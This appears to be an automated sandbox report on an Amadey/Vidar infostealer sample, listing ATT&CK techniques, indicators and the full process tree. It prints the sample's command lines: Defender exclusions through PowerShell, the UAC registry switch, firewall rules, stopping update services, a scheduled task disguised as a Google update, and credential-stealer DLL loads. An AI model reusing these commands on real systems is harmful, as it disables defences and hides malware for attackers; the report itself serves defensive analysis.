amadey | 7cd7bf6e8ec89fecb6efbad8f40556bd1e2433b58864cec67c216bbd0bacee74

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
1324	netsh.exe
1016	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 5 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x0005000000019521-560.dat	net_reactor
behavioral1/files/0x0005000000019521-575.dat	net_reactor
behavioral1/files/0x0005000000019521-574.dat	net_reactor
behavioral1/files/0x0005000000019521-573.dat	net_reactor
behavioral1/files/0x0005000000019521-587.dat	net_reactor

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q9ecG5Jiu97qnIUp7o9WTCJj.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\B8CVO7aSC3mrHkzVNqTgC7IW.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4T1iwVNIMtRLpJvazjYQB2wf.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SkV1L7YSDkPd1qLEbbdLvHRg.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\l5OiBVWFni3wDQgUDHe62X67.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7hfei201LExqEGNOQaWMSudw.bat	RegSvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uPwOhD5iuzwpeA8mmGSKWXH4.bat	RegSvcs.exe

Executes dropped EXE 5 IoCs

pid	Process
1540	zoJnsmhEzpohaSvU280MKqcZ.exe
524	CmyyXOQjKrcAhRRx5JqyGuiN.exe
1880	nhdues.exe
2156	XtVYtkgxBzRxuXzi7NG5JRFw.exe
3020	nm1szDYHmcoWcNJ7bYzDGwax.exe

Loads dropped DLL 9 IoCs

pid	Process
2408	RegSvcs.exe
2408	RegSvcs.exe
2408	RegSvcs.exe
1540	zoJnsmhEzpohaSvU280MKqcZ.exe
2408	RegSvcs.exe
2408	RegSvcs.exe
2408	RegSvcs.exe
2408	RegSvcs.exe
2408	RegSvcs.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000016cfe-260.dat	upx
behavioral1/files/0x0008000000016cfe-262.dat	upx
behavioral1/memory/1748-278-0x00000000003E0000-0x000000000092D000-memory.dmp	upx
behavioral1/files/0x0008000000016cfe-263.dat	upx
behavioral1/memory/1748-858-0x00000000003E0000-0x000000000092D000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2476 set thread context of 2408	2476	file.exe	30

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1916	sc.exe
1964	sc.exe
1148	sc.exe
1556	sc.exe
1892	sc.exe
2956	sc.exe
1556	sc.exe
1516	sc.exe
1260	sc.exe
2040	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2252	schtasks.exe
872	schtasks.exe
2168	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2344	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	RegSvcs.exe
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2968	2476	file.exe	28
PID 2476 wrote to memory of 2968	2476	file.exe	28
PID 2476 wrote to memory of 2968	2476	file.exe	28
PID 2476 wrote to memory of 2968	2476	file.exe	28
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2476 wrote to memory of 2408	2476	file.exe	30
PID 2408 wrote to memory of 1540	2408	RegSvcs.exe	31
PID 2408 wrote to memory of 1540	2408	RegSvcs.exe	31
PID 2408 wrote to memory of 1540	2408	RegSvcs.exe	31
PID 2408 wrote to memory of 1540	2408	RegSvcs.exe	31
PID 2408 wrote to memory of 524	2408	RegSvcs.exe	32
PID 2408 wrote to memory of 524	2408	RegSvcs.exe	32
PID 2408 wrote to memory of 524	2408	RegSvcs.exe	32
PID 2408 wrote to memory of 524	2408	RegSvcs.exe	32
PID 1540 wrote to memory of 1880	1540	zoJnsmhEzpohaSvU280MKqcZ.exe	33
PID 1540 wrote to memory of 1880	1540	zoJnsmhEzpohaSvU280MKqcZ.exe	33
PID 1540 wrote to memory of 1880	1540	zoJnsmhEzpohaSvU280MKqcZ.exe	33
PID 1540 wrote to memory of 1880	1540	zoJnsmhEzpohaSvU280MKqcZ.exe	33
PID 2408 wrote to memory of 2156	2408	RegSvcs.exe	34
PID 2408 wrote to memory of 2156	2408	RegSvcs.exe	34
PID 2408 wrote to memory of 2156	2408	RegSvcs.exe	34
PID 2408 wrote to memory of 2156	2408	RegSvcs.exe	34
PID 2408 wrote to memory of 3020	2408	RegSvcs.exe	35
PID 2408 wrote to memory of 3020	2408	RegSvcs.exe	35
PID 2408 wrote to memory of 3020	2408	RegSvcs.exe	35
PID 2408 wrote to memory of 3020	2408	RegSvcs.exe	35
PID 1880 wrote to memory of 2252	1880	nhdues.exe	36
PID 1880 wrote to memory of 2252	1880	nhdues.exe	36
PID 1880 wrote to memory of 2252	1880	nhdues.exe	36
PID 1880 wrote to memory of 2252	1880	nhdues.exe	36
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39
PID 2408 wrote to memory of 1748	2408	RegSvcs.exe	39

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Users\Admin\Pictures\zoJnsmhEzpohaSvU280MKqcZ.exe
    "C:\Users\Admin\Pictures\zoJnsmhEzpohaSvU280MKqcZ.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1540
  - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
      "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2252
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:2984
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        6⤵
        
        PID:2472
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        6⤵
        
        PID:1640
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2712
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1500
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        6⤵
        
        PID:296
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        6⤵
        
        PID:1092
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        5⤵
        
        PID:1088
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        5⤵
        
        PID:2204
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:1816
- - C:\Users\Admin\Pictures\CmyyXOQjKrcAhRRx5JqyGuiN.exe
    "C:\Users\Admin\Pictures\CmyyXOQjKrcAhRRx5JqyGuiN.exe"
    3⤵
    - Executes dropped EXE
    PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7056299293.exe"
      4⤵
      PID:2012
    - - C:\Users\Admin\AppData\Local\Temp\7056299293.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7056299293.exe"
        5⤵
        
        PID:2956
      - C:\Windows\syswow64\rundll32.exe
        
        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61 C:\Users\Admin\AppData\Local\Temp\7056299293.exe
        6⤵
        
        PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "CmyyXOQjKrcAhRRx5JqyGuiN.exe" /f & erase "C:\Users\Admin\Pictures\CmyyXOQjKrcAhRRx5JqyGuiN.exe" & exit
      4⤵
      PID:1020
- - C:\Users\Admin\Pictures\XtVYtkgxBzRxuXzi7NG5JRFw.exe
    "C:\Users\Admin\Pictures\XtVYtkgxBzRxuXzi7NG5JRFw.exe"
    3⤵
    - Executes dropped EXE
    PID:2156
  - - C:\Users\Admin\Pictures\XtVYtkgxBzRxuXzi7NG5JRFw.exe
      "C:\Users\Admin\Pictures\XtVYtkgxBzRxuXzi7NG5JRFw.exe"
      4⤵
      PID:2944
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2628
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1016
- - C:\Users\Admin\Pictures\nm1szDYHmcoWcNJ7bYzDGwax.exe
    "C:\Users\Admin\Pictures\nm1szDYHmcoWcNJ7bYzDGwax.exe"
    3⤵
    - Executes dropped EXE
    PID:3020
- - C:\Users\Admin\Pictures\y0hzJjQsjwag2SqAwxiJtj21.exe
    "C:\Users\Admin\Pictures\y0hzJjQsjwag2SqAwxiJtj21.exe"
    3⤵
    PID:1580
- - C:\Users\Admin\Pictures\IP3UlzLvRJTW2rqHaDNZ1jeD.exe
    "C:\Users\Admin\Pictures\IP3UlzLvRJTW2rqHaDNZ1jeD.exe" --silent --allusers=0
    3⤵
    PID:1748
- - C:\Users\Admin\Pictures\YWjpdLRkE9QOyniJrKs0TD5A.exe
    "C:\Users\Admin\Pictures\YWjpdLRkE9QOyniJrKs0TD5A.exe"
    3⤵
    PID:2152
  - - C:\Users\Admin\AppData\Local\Temp\is-61RGG.tmp\YWjpdLRkE9QOyniJrKs0TD5A.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-61RGG.tmp\YWjpdLRkE9QOyniJrKs0TD5A.tmp" /SL5="$C011E,491750,408064,C:\Users\Admin\Pictures\YWjpdLRkE9QOyniJrKs0TD5A.exe"
      4⤵
      PID:2276
    - - C:\Users\Admin\AppData\Local\Temp\is-P6IU7.tmp\8758677____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-P6IU7.tmp\8758677____.exe" /S /UID=lylal220
        5⤵
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\86-c8cce-399-5d4b1-136a4af5eeca1\Gegiwavuty.exe
        
        "C:\Users\Admin\AppData\Local\Temp\86-c8cce-399-5d4b1-136a4af5eeca1\Gegiwavuty.exe"
        6⤵
        
        PID:3008
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 384
        7⤵
        
        PID:888
      - C:\Program Files\Mozilla Firefox\DUKDYCZTYG\lightcleaner.exe
        
        "C:\Program Files\Mozilla Firefox\DUKDYCZTYG\lightcleaner.exe" /VERYSILENT
        6⤵
        
        PID:1904
        
        C:\Users\Admin\AppData\Local\Temp\is-14UJ4.tmp\lightcleaner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-14UJ4.tmp\lightcleaner.tmp" /SL5="$201CE,833775,56832,C:\Program Files\Mozilla Firefox\DUKDYCZTYG\lightcleaner.exe" /VERYSILENT
        7⤵
        
        PID:3000
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start https://iplogger.com/1ciGA4
        6⤵
        
        PID:1672
- - C:\Users\Admin\Pictures\Y4cHvpq7IICxYtIKU0BzrBsn.exe
    "C:\Users\Admin\Pictures\Y4cHvpq7IICxYtIKU0BzrBsn.exe"
    3⤵
    PID:2144
- - C:\Users\Admin\Pictures\QP72Zw6573wQr3Slm5KXvswp.exe
    "C:\Users\Admin\Pictures\QP72Zw6573wQr3Slm5KXvswp.exe"
    3⤵
    PID:2352
- - C:\Users\Admin\Pictures\7teO0rPM7jsu93TnUxWpIf79.exe
    "C:\Users\Admin\Pictures\7teO0rPM7jsu93TnUxWpIf79.exe"
    3⤵
    PID:2016
  - - C:\Users\Admin\Pictures\7teO0rPM7jsu93TnUxWpIf79.exe
      "C:\Users\Admin\Pictures\7teO0rPM7jsu93TnUxWpIf79.exe"
      4⤵
      PID:1668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2116
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1324
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2524

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:808
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2956
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1556
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1964
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1516

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2344

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1432
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:548
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2060
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1456
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2964

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:872

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:1556

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:1308

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231005083231.log C:\Windows\Logs\CBS\CbsPersist_20231005083231.cab
1⤵
PID:1420

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "CmyyXOQjKrcAhRRx5JqyGuiN.exe" /f
1⤵
- Kills process with taskkill
PID:2344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1504

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:1148

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:1260

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:2040

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:1556

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:1892

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1872

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:2844

C:\Windows\system32\taskeng.exe
taskeng.exe {88F3D40F-6C75-495F-B96D-BFA86ADDBEB9} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
1⤵
PID:2012
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:1520
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:1600

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:2724

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
1⤵
PID:2176

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
1⤵
PID:2192

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:2168

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2000

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:1808

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry